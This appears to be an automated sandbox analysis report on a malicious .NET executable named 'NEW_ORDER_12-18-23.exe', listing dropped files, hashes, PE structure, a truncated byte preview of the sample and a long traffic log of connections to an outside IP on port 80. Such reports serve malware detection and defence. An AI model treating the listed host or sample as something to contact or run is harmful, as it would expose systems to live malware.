Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\spof.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\spof.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1492
Entropy (8bit):	5.3787668257697945
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNt1qE4GIs0E4KVE4kh:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIx
MD5:	E6AD1A632B3ED1855D07C71585EE32C3
SHA1:	D44EC2568001E1B1492B86681211788246A55ADD
SHA-256:	CA2883CA6638072E9A3E8A455CFD1C5D7903EEF606924F06E90C2F474751E88D
SHA-512:	B09AD19DB449687B3BB91CA8E97E553AB7CBC1B5323D920F75D0CC930FBF1637CB1087170AD00E34677D29A9EBDA5F9A96A4AA1C736C7AC1C24A70DFB4A215D0
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Roaming\spof.exe

Download File

Process:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	5.634321804413825
Encrypted:	false
SSDEEP:	384:xlNEv0rnlMTxHqigW5R4+kon45b9b5LkkxHYAscjEl:av8gR4+kvpbgcYl
MD5:	70FAC030623DEB6181201FD0CA321BB4
SHA1:	F76FA53071642B4AF732B2388408A8C8B8AD15F3
SHA-256:	CFC1CD526A745E9154CDA0C23F0CCE1999EC4325AF86FC79D3B1072631B17329
SHA-512:	BC6227E5596436BBB3CA611E87603600CAE98C243ADFB48D831BD8B8269EB105220CD863FB5AA3E8F287B8EC0795A6EAD5EE552348E7764E5014C13A808225F9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......e.................:...........X... ....@...... ....................................`...@......@............... ......................xX..W....`.. ............................................................................ ............... ..H............text....8... ...:.................. ..`.rsrc... ....`.......<..............@..@.reloc...............B..............@..B.X......H.......4=..D.......-....<...............................................0.. ........-.s....z..i,..................0..s....... ...... .7.qa.s.............s........Y....o...........-.s.............o....... ..i.X.Xffeeffefefe ?..v.Y.Yffeeffefeefa...-..+...o........,... e.\|a.Xffeefeffefea...-..+...o.........:...(....(....,..~....`...... .+.p.X.a.Xa.8.......(....,T....(....,&~......`...... .fe..a.Xfeffeefef.Ya.+G.~....`...... j....Y.Yfefeffeefa.+$..~....`....... .Y[vX.Xfefefef

C:\Users\user\AppData\Roaming\spof.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.634321804413825
TrID:	Win64 Executable GUI Net Framework (217006/5) 47.53% Win64 Executable GUI (202006/5) 44.25% Win64 Executable (generic) Net Framework (21505/4) 4.71% Win64 Executable (generic) (12005/4) 2.63% Generic Win/DOS Executable (2004/3) 0.44%
File name:	NEW_ORDER_12-18-23.exe
File size:	17'408 bytes
MD5:	70fac030623deb6181201fd0ca321bb4
SHA1:	f76fa53071642b4af732b2388408a8c8b8ad15f3
SHA256:	cfc1cd526a745e9154cda0c23f0cce1999ec4325af86fc79d3b1072631b17329
SHA512:	bc6227e5596436bbb3ca611e87603600cae98c243adfb48d831bd8b8269eb105220cd863fb5aa3e8f287b8ec0795a6ead5ee552348e7764e5014c13a808225f9
SSDEEP:	384:xlNEv0rnlMTxHqigW5R4+kon45b9b5LkkxHYAscjEl:av8gR4+kvpbgcYl
TLSH:	BD7219087E9DA223C5AC167C98F317050375DA3FB982E38BADDC9BA62D837C015516F6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......e.................:...........X... ....@...... ....................................`...@......@............... .....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4058d2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x657FF8CD [Mon Dec 18 07:46:21 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
dec eax
mov eax, dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5878	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x520	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x38de	0x3a00	False	0.5376481681034483	data	5.847776237239097	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x520	0x600	False	0.3938802083333333	data	4.50071935327843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x60a0	0x2cc	data			0.43435754189944137
RT_MANIFEST	0x636c	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2023 14:31:03.500489950 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:03.736928940 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:03.737123013 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:03.739526987 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.294747114 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.534419060 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.534451962 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.534463882 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.534478903 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.534492970 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.534570932 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.534615040 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.771440029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771472931 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771519899 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771574974 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.771600008 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771647930 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.771680117 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771745920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771786928 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771789074 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:04.771866083 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771883011 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:04.771908045 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.007777929 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.007869959 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.007955074 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.007966042 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008048058 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008095980 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008121014 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008188963 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008270979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008318901 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008378029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008465052 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008508921 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008531094 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008599043 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008644104 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008656025 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008733034 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008744001 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008776903 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008824110 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008904934 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008946896 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.008963108 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.008985043 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.009005070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.009026051 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.244440079 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244456053 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244502068 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244553089 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244559050 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.244565964 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244605064 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.244657040 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244749069 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244807959 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.244822979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.244978905 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245016098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245026112 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245083094 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245163918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245215893 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245235920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245340109 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245349884 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245385885 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245415926 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245511055 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245558023 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245573997 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245666027 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245708942 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245748043 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245821953 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245873928 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.245904922 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.245981932 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246023893 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246025085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246076107 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246123075 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246128082 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246200085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246210098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246256113 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246272087 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246323109 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246364117 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246424913 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246473074 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246512890 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246568918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246762991 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246809959 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246871948 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246932983 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.246984005 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.246992111 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.480988979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481024981 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481045008 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481064081 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481081009 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481085062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481097937 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481111050 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481113911 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481123924 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481142044 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481142998 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481175900 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481190920 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481209040 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481220961 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481234074 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481256008 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481281996 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481285095 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481337070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481352091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481364965 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481381893 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481390953 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481406927 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481457949 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481518984 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481558084 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481571913 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481590986 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481610060 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481621981 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481647015 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481647968 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481678963 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481695890 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481707096 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481745958 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481767893 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481791019 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481820107 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481837988 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.481869936 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481882095 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.481919050 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482095957 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482177019 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482242107 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482247114 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482273102 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482286930 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482300043 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482317924 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482340097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482355118 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482362032 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482367992 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482412100 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482419014 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482459068 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482460976 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482474089 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482485056 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482513905 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482516050 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482551098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482598066 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482633114 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482700109 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482713938 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482743979 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482774973 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482789040 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482820988 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482822895 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482852936 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482866049 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482867002 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482923985 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482937098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482949018 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482959986 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.482975960 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.482991934 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.483021975 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483036995 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483047962 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483078957 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.483099937 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483143091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483144999 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.483158112 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483192921 CET	49729	80	192.168.2.4	45.137.22.163
